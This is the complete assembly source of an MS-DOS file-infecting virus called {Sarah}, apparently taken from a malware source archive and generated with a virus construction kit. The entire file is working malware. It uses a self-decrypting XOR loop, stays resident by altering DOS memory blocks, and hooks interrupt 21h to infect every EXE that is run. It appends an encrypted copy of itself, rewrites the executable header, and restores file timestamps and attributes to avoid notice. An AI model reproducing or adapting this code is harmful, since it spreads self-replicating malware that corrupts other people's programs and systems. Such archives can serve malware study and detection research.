MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.sarah.asm
2021-01-12 17:58:25 -06:00

284 lines
9.6 KiB
NASM

; sarah.asm : {Sarah} by Gehenna
; Created wik the Phalcon/Skism Mass-Produced Code Generator
; from the configuration file sarah.cfg
.model tiny ; Handy directive
.code ; Virus code segment
org 0 ; For easy calculation of offsets
id = 'EF' ; ID word for EXE infections
startvirus:
decrypt: ; handles encryption and decryption
patch_startencrypt:
mov bx,offset startencrypt ; start of decryption
mov si,(offset heap - offset startencrypt)/2 ; iterations
decrypt_loop:
db 2eh,81h,37h ; xor word ptr cs:[bx], xxxx
decrypt_value dw 0 ; initialised at zero for null effect
inc bx ; calculate new decryption location
inc bx
dec si ; If we are not done, then
jnz decrypt_loop ; decrypt mo'
startencrypt:
call next ; calculate delta offset
next: pop bp ; bp = IP next
sub bp,offset next ; bp = delta offset
push ds
push es
mov ax,'DA' ; Installation check
int 21h
cmp ax,'PS' ; Already installed?
jz done_install
mov ax, es ; Get PSP
dec ax
mov ds, ax ; Get MCB
sub word ptr ds:[3],(endheap-startvirus+15)/16+1
sub word ptr ds:[12h],(endheap-startvirus+15)/16+1
mov ax,ds:[12h]
mov ds, ax
inc ax
mov es, ax
mov byte ptr ds:[0],'Z' ; Mark end of chain
mov word ptr ds:[1],8 ; Mark owner = DOS
mov word ptr ds:[3],(endheap-startvirus+15)/16 ; Set size
push cs
pop ds
xor di,di ; Destination
mov cx,(heap-startvirus)/2+1 ; Bytes to zopy
mov si,bp ; lea si,[bp+offset startvirus]
rep movsw
mov di,offset encrypt
mov si,bp ; lea si,[bp+offset startvirus]
mov cx,startencrypt-decrypt
rep movsb
mov al,0c3h ; retn
stosb
xor ax,ax
mov ds,ax
push ds
lds ax,ds:[21h*4] ; Get old int handler
mov word ptr es:oldint21, ax
mov word ptr es:oldint21+2, ds
pop ds
mov word ptr ds:[21h*4], offset int21 ; Replace with new handler
mov ds:[21h*4+2], es ; in high memory
done_install:
pop es
pop ds
mov ax,es ; AX = PSP segment
add ax,10h ; Adjust for PSP
add word ptr cs:[bp+oldCSIP+2],ax
add ax,word ptr cs:[bp+oldSSSP+2]
cli ; Clear intrpts for stack manipulation
mov sp,word ptr cs:[bp+oldSSSP]
mov ss,ax
sti
db 0eah ; jmp ssss:oooo
oldCSIP dd 0fff00000h ; Needed for carrier file
oldSSSP dd ? ; Original SS:SP
virus db '{Sarah}',0
author db '<Gehenna>',0
int21: ; New interrupt handler
cmp ax,'DA' ; Installation check?
jnz notinstall
mov ax,'PS'
iret
notinstall:
pushf
push ax
push bx
push cx
push dx
push si
push di ; don't need to save bp
push ds
push es
cmp ax,4b00h ; Infect on execute
jz infectDSDX
exithandler:
pop es
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
popf
db 0eah ; JMP SSSS:OOOO
oldint21 dd ? ; Go to orig handler
infectDSDX:
mov ax,4300h
int 21h
push ds
push dx
push cx ; Save attributes
xor cx,cx ; Clear attributes
call attributes ; Set file attributes
mov ax,3d02h ; Open read/write
int 21h
xchg ax,bx
mov ax,5700h ; Get creation date/time
int 21h
push cx ; Save date and
push dx ; time
push cs ; DS = CS
pop ds
push cs ; ES = CS
pop es
mov ah,3fh ; Read file to buffer
mov dx,offset buffer ; @ DS:DX
mov cx,1Ah ; 1Ah bytes
int 21h
mov ax,4202h ; Go to end of file
xor cx,cx
cwd
int 21h
mov word ptr filesize,ax
mov word ptr filesize+2,dx
checkEXE:
cmp word ptr buffer+10h,id ; is it already infected?
jnz infect_exe
done_file:
mov ax,5701h ; Restore creation date/time
pop dx ; Restore date and
pop cx ; time
int 21h
mov ah,3eh ; Close file
int 21h
pop cx
pop dx
pop ds ; Restore filename
call attributes ; attributes
jmp exithandler
infect_exe:
mov cx, 1ah
push cx
push bx ; Save file handle
les ax,dword ptr buffer+14h ; Save old entry point
mov word ptr oldCSIP, ax
mov word ptr oldCSIP+2, es
les ax,dword ptr buffer+0Eh ; Save old stack
mov word ptr oldSSSP,es
mov word ptr oldSSSP+2,ax
mov ax,word ptr buffer+8 ; Get header size
mov cl, 4 ; convert to bytes
shl ax, cl
xchg ax, bx
les ax,dword ptr filesize ; Get file size
mov dx, es ; to DX:AX
push ax
push dx
sub ax, bx ; Subtract header size from
sbb dx, 0 ; file size
mov cx, 10h ; Convert to segment:offset
div cx ; form
mov word ptr buffer+14h, dx ; New entry point
mov word ptr buffer+16h, ax
mov word ptr buffer+0Eh, ax ; and stack
mov word ptr buffer+10h, id
pop dx ; get file length
pop ax
pop bx ; Restore file handle
add ax, heap-startvirus ; add virus size
adc dx, 0
mov cl, 9
push ax
shr ax, cl
ror dx, cl
stc
adc dx, ax
pop ax
and ah, 1 ; mod 512
mov word ptr buffer+4, dx ; new file size
mov word ptr buffer+2, ax
push cs ; restore ES
pop es
mov ax,word ptr buffer+14h ; needed later
finishinfection:
add ax,offset startencrypt-offset decrypt
mov word ptr encrypt+(patch_startencrypt-startvirus)+1,ax
get_encrypt_value:
mov ah,2ch ; Get current time
int 21h ; dh=sec,dl=1/100 sec
or dx,dx ; Check if encryption value = 0
jz get_encrypt_value ; Get another if it is
mov word ptr encrypt+(decrypt_value-startvirus),dx ; New encrypt. value
xor si,si ; copy virus to buffer
mov di,offset zopystuff
mov cx,heap-startvirus
rep movsb
mov si,offset encrypt ; copy encryption function
mov di,offset zopystuff
mov cx,startencrypt-decrypt
rep movsb
mov word ptr [encrypt+(patch_startencrypt-startvirus)+1],offset zopystuff+(startencrypt-decrypt)
push bx
call encrypt
pop bx
mov ah,40h ; Concatenate virus
mov dx,offset zopystuff
mov cx,heap-startvirus ; # bytes to write
int 21h
mov ax,4200h ; Move file pointer
xor cx,cx ; to beginning of file
cwd ; xor dx,dx
int 21h
mov ah,40h ; Write to file
mov dx,offset buffer ; Write from buffer
pop cx ; cx bytes
int 21h
jmp done_file
attributes:
mov ax,4301h ; Set attributes to cx
int 21h
ret
heap: ; Variables not in code
filesize dd ?
encrypt: db startencrypt-decrypt+1 dup (?)
zopystuff db heap-startvirus dup (?) ; Encryption buffer
buffer db 1ah dup (?) ; read buffer
endheap: ; End of virus
end startvirus